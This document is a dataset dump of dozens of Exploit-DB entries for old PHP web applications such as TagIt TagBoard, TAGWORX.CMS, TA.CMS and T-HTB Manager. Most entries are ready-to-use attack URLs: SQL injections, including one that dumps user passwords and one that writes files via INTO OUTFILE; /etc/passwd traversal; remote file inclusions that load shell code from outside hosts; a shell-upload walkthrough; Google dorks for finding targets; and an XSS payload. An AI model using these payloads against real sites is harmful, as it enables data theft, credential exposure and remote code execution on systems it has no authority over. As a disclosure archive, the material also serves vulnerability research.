deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9637
Description: T-HTB Manager 0.5 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2009-09-10
Author: Salvatore Fresta

Exploit:
********   Salvatore "drosophila" Fresta   ********

[+] Application: T-HTB Manager
[+] Version: 0.5
[+] Website: http://sourceforge.net/apps/mediawiki/t-htbmanager/index.php?title=Main_Page

[+] Bugs: [A] Multiple Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Sep 2009

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: index.php

All fields in this script are not sanitized but any
outputs aren't returned.

...

	case 'delete_category':
      $id = $_GET['id'];
      $id_interfaces = $_GET['id_interfaces'];

      if($id>0)
      {
        $query =  "SELECT rgt, lft FROM ".$table_name." WHERE id='" . $id . "'";
        $db_query = mysql_query($query);
        
...

    case 'update_category':
      $name = $_POST['name'];
      $id = $_POST['id'];

      $rate  	= $_POST['rate'];
      $ceil  	= $_POST['ceil'];
      $burst 	= $_POST['burst'];
      $prio  	= $_POST['prio'];
      $monitor  = $_POST['monitor'];

      if(strlen($name)>0 && $id>0)
      {
        $nodelft = $_POST['nodelft'];

        $lft = $_POST['lft'];
        $rgt = $_POST['rgt'];

        $query = "UPDATE ".$table_name." set name='" . $name . "' ,  lft='" . $lft . "' , rgt = '" . $rgt . "', rate= '" . $rate . "', ceil = '" . $ceil . "', burst = '" . $burst . "', prio = '" . $prio . "', monitor = '" . $monitor . "' WHERE id='" . $id . "'";
             
...

And many others..


***************************************************

[+] Code


- [A] Multiple Blind SQL Injection

This is a Blind SQL Injection bug but into the
database there aren't very reserved information
such as usernames and/or passwords. However this
injection can be used to write arbitrary files
on the server (when allowed).

http://site/path/index.php?action=delete_category&id=1' UNION ALL SELECT NULL,'evil code' INTO OUTFILE '/tmp/file.php

Send it as a POST packet:

action=update_category&id=9999&name=blabla' WHERE 1=0 OR IF(ASCII(CHAR(97)) = 97,BENCHMARK[PII_REDACTED]0,null),null)%23


***************************************************

[+] Fix

No fix.


***************************************************

# milw0rm.com [2009-09-10]
Exploit-DB #36328
Description: TA.CMS (TeachArabia) - 'index.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-22
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/50773/info

TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver. 

http://www.example.com/index.php?p_name=events_item_view&id=17' SQL
Exploit-DB #36329
Description: TA.CMS (TeachArabia) - 'lang' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2011-11-22
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/50773/info
 
TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.
 
An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.
 
http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60
Exploit-DB #10718
Description: ta3arof [dating] Script (Arabic Version) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : ta3arof [datnig] Script Arabic Version Upload Shell Vulnerability       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : 횩횉횦횋 횉찼횒횧챈횧 찾횒횦챈횢횋 찼찾횒횗횩 횉찼횊횒횏 횉찼횣횗횊챠  횊횒횏횩찾 /All Rights Reserved For Ba7th.com                                       
| # Tested on: windows SP2 Fran챌ais V.(Pnx2 2.0) + Lunix Fran챌ais v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/ta3arof/add.php *Register
|
| 2- Up your Ev!l 
|
| 3- fin it there 
| http://server/ta3arof/members/uploads/
| http://server/ta3arof/members/uploads/[PII_REDACTED]/c.php
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #12556
Description: Tadbir CMS - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-05-10
Author: Pouya Daneshmand

Exploit:
#################################################################  
# Securitylab.ir
#################################################################  
# Application Info:
# Name: Tadbir CMS
# Vendor: http://etadbir.com
#################################################################  
# Vulnerability Info:
# Type: Remote Arbitrary File Upload
# Risk: High
# 2010-01-12 - Found Vulnerability
# 2010-04-22 - Vendor notified
# 2010-05-08 - Public disclosure
#################################################################
Vulnerability:
http://site.ir/editor/editor/filemanager/upload/test.html
#################################################################  
# Discoverd By: Pouya Daneshmand
# Website: http://Pouya.Securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran[at]yahoo.com
###################################################################
Exploit-DB #32713
Description: tadbook2 Module for XOOPS - 'open_book.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-07
Author: stylextra

Exploit:
source: https://www.securityfocus.com/bid/33196/info

The tadbook2 module for XOOPS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


http://www.example.com/modules/tadbook2/open_book.php?book_sn=-5/**/union/**/select/**/version(),2/*

http://www.example.com/modules/tadbook2/open_book.php?book_sn=-1/**/union/**/select/**/version(),2/*

http://www.example.com/modules/tadbook2/open_book.php?book_sn=-10/**/union/**/select/**/version(),2/*
Exploit-DB #2157
Description: Tagger Luxury Edition - 'BBCodeFile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-09
Author: Morgan

Exploit:
Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC: 
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan 

# milw0rm.com [2006-08-09]
Exploit-DB #2450
Description: TagIt! Tagboard 2.1.b b2 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-28
Author: Kernel-32

Exploit:
 Tagmin C.C 2.1.B Remote File Include
########################################
+Advisory #3
+Product :Tagmin Control Center 2.1.B
+Develop: http://ds3.bbminc.net/tagit2b/
+Dork: inurl:"/tagit2b/"
+Vulnerable: Remote File Include
+Risk:High
+Discovered:by Kernel-32
+Contact: kernel-32@linuxmail.org
+Homepage: http://kernel-32.blogspot.com
+Greetz: BeLa ;)
########################################
Vulnerable code:
----------------
if(isset($_GET['load']) && $_GET['load'] == "dtu" or $_GET['load'] == "tag") {
include("$page.php");
}
else {
include("tagviewer.php");
}
?>

---------------
Vulnerable:
http://site/path/index.php?page=shell

# milw0rm.com [2006-09-28]
Exploit-DB #29580
Description: Tagit! Tagit2b 2.1.B Build 2 - '/CONFIG/errmsg.inc.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
  
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/CONFIG/errmsg.inc.php?configpath=http://example2.com/evil?
Exploit-DB #29581
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/addTagmin.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
   
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/addTagmin.php?configpath=http://example2.com/evil?
Exploit-DB #29582
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/ban_watch.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
    
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/ban_watch.phpp?configpath=http://example2.com/evil?
Exploit-DB #29584
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTag.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
      
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/delTag.php?configpath=http://example2.com/evil?
Exploit-DB #29583
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTagmin.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
     
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/delTagmin.php?configpath=http://example2.com/evil?
Exploit-DB #29586
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTag.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
        
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/editTag.php?configpath=http://example2.com/evil?
Exploit-DB #29585
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTagmin.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
       
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/editTagmin.php?configpath=http://example2.com/evil?
Exploit-DB #29589
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/index.php?adminpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
           
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
           
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/index.php?adminpath=http://example2.com/evil?
Exploit-DB #29587
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/manageTagmins.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
         
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/manageTagmins.php?configpath=http://example2.com/evil?
Exploit-DB #29590
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/readconf.php?Admin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
            
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
            
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/readconf.php?admin=http://example2.com/evil?
Exploit-DB #29591
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updateconf.php?Admin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
             
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
             
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/updateconf.php?admin=http://example2.com/evil?
Exploit-DB #29592
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updatefilter.php?Admin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
              
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
              
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/updatefilter.php?admin=http://example2.com/evil?
Exploit-DB #29588
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/verify.php?configpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
          
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
          
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/verify.php?configpath=http://example2.com/evil?
Exploit-DB #29593
Description: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/wordfilter.php?Admin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
               
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
               
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/wordfilter.php?admin=http://example2.com/evil?
Exploit-DB #29578
Description: Tagit! Tagit2b 2.1.B Build 2 - 'tagviewer.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info

TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagviewer.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tagviewer.php?adminpath=http://example2.com/evil?
Exploit-DB #29579
Description: Tagit! Tagit2b 2.1.B Build 2 - 'tag_process.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-02-12
Author: K-159

Exploit:
source: https://www.securityfocus.com/bid/22518/info
 
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tag_process.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tag_process.php?adminpath=http://example2.com/evil?
Exploit-DB #28782
Description: Tagit2b - 'DelTagUser.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: k1tk4t

Exploit:
source: https://www.securityfocus.com/bid/20451/info

Tagit2b is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker can exploit this issue to have malicious PHP code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.1.B Build 2 is affected by this issue; other versions may also be affected.

http://www.example.com/tagit2b/tagmin/delTagUser.php?configpath=http://www.example.com
Exploit-DB #37805
Description: TAGWORX.CMS - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2012-09-18
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/55586/info

TAGWORX.CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/gallery.php?cid=124'&pid=124

http://www.example.com/gallery.php?cat_id=17&cid='&pid=&img=1

http://www.example.com/gallery.php?cid=124'&pid=124
Exploit-DB #5642
Description: TAGWORX.CMS 3.00.02 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-18
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]

 ##########################################################
 #  [ TAGWORX.CMS ]   Remote SQL Injection Vulnerability  #
 ##########################################################
 #
 # Script site: http://www.tagworx.net/
 # 
 # Vuln: 
 # -contact.php:
 # http://site.com/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 # or
 # http://site.com/contact.php?cid=-1+UNION+SELECT+1,2,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--
 # 	
 # -news.php: 
 # http://site.com/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user--
 #	 
 # table_name= t_user or l_user
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18]
Exploit-DB #35867
Description: Taha Portal 3.2 - 'sitemap.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-18
Author: Bl4ck.Viper

Exploit:
source: https://www.securityfocus.com/bid/48342/info

Taha Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Taha Portal 3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.asp?id=3&serword=%3Cscript%3Ealert%28%22sss%22%29;%3C/script%3E